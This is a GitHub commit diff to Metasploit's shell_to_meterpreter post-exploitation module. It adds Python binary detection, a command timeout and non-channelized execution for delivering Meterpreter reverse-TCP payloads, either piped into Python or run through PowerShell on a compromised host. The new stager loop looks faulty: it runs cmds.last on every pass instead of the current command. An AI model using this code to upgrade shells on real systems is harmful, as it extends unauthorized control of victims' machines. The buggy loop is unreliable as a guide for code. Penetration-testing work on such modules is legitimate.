Skip to content

Commit

Permalink
Detect more Python binaries & don't run last cmd_exec as channelized
Browse files Browse the repository at this point in the history
  • Loading branch information
sjanusz-r7 committed May 25, 2022
1 parent f28acc3 commit 17a37a9
Showing 1 changed file with 44 additions and 18 deletions.
62 changes: 44 additions & 18 deletions modules/post/multi/manage/shell_to_meterpreter.rb
Original file line number Diff line number Diff line change
Expand Up @@ -45,11 +45,17 @@ def initialize(info = {})
OptString.new('BOURNE_PATH',
[false, 'Remote path to drop binary']),
OptString.new('BOURNE_FILE',
[false, 'Remote filename to use for dropped binary'])
[false, 'Remote filename to use for dropped binary']),
OptInt.new('COMMAND_TIMEOUT',
[true, 'How long to wait (in seconds) for a result when executing a command on the remote machine.', 15]),
])
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
end

def command_timeout
datastore['COMMAND_TIMEOUT']
end

# Run method for when run command is issued
def run
print_status("Upgrading session ID: #{datastore['SESSION']}")
Expand Down Expand Up @@ -118,7 +124,7 @@ def run
lplat = [Msf::Platform::OSX]
larch = [ARCH_X64]
vprint_status('Platform: OS X')
elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/
elsif remote_python_binary
# Generic fallback for OSX, Solaris, Linux/ARM
platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp'
Expand Down Expand Up @@ -176,7 +182,7 @@ def run
cmd_exec("echo. | #{cmd_psh_payload(payload_data, psh_arch, psh_opts)}")
else
psh_opts[:remove_comspec] = true
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, 15, { 'Channelized' => false })
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, command_timeout, { 'Channelized' => false })
end
else
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
Expand All @@ -186,11 +192,11 @@ def run
end
when 'python'
vprint_status('Transfer method: Python')
cmd_exec("echo \"#{payload_data}\" | python")
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary}", nil, command_timeout, { 'Channelized' => false })
when 'osx'
vprint_status('Transfer method: Python [OSX]')
payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload_data, {})
cmd_exec("echo \"#{payload_data}\" | python & disown")
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary} & disown", nil, command_timeout, { 'Channelized' => false })
else
vprint_status('Transfer method: Bourne shell [fallback]')
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
Expand All @@ -204,6 +210,21 @@ def run
return nil
end

#
# Get the Python binary from the remote machine, if any, by running
# a series of channelized `cmd_exec` calls.
# @return String/nil A string if a Python binary can be found, else nil.
#
def remote_python_binary
python_exists_regex = /Python (2|3)\.(\d)/
# We could cache these values
return 'python' if cmd_exec('python -V 2>&1') =~ python_exists_regex
return 'python2' if cmd_exec('python2 -V 2>&1') =~ python_exists_regex
return 'python3' if cmd_exec('python3 -V 2>&1') =~ python_exists_regex

nil
end

def transmit_payload(exe, platform)
#
# Generate the stager command array
Expand Down Expand Up @@ -249,22 +270,27 @@ def transmit_payload(exe, platform)
#
sent = 0
aborted = false
cmds.each do |cmd|
ret = cmd_exec(cmd)
if !ret
aborted = true
else
ret.strip!
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
end
if aborted
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
break
cmds.each.with_index do |cmd, i|
# The last command should be fire-and-forget, otherwise issues occur where the original session waits
# for an unlimited amount of time for the newly spawned session to exit.
wait_for_cmd_result = i + 1 < cmds.length
# Note that non-channelized cmd_exec calls currently return an empty string
ret = cmd_exec(cmds.last, nil, command_timeout, { 'Channelized' => wait_for_cmd_result })
if wait_for_cmd_result
if !ret
aborted = true
else
ret.strip!
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
end
if aborted
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
break
end
end

sent += cmd.length

progress(total_bytes, sent)
end
rescue ::Interrupt
Expand Down

0 comments on commit 17a37a9

Please sign in to comment.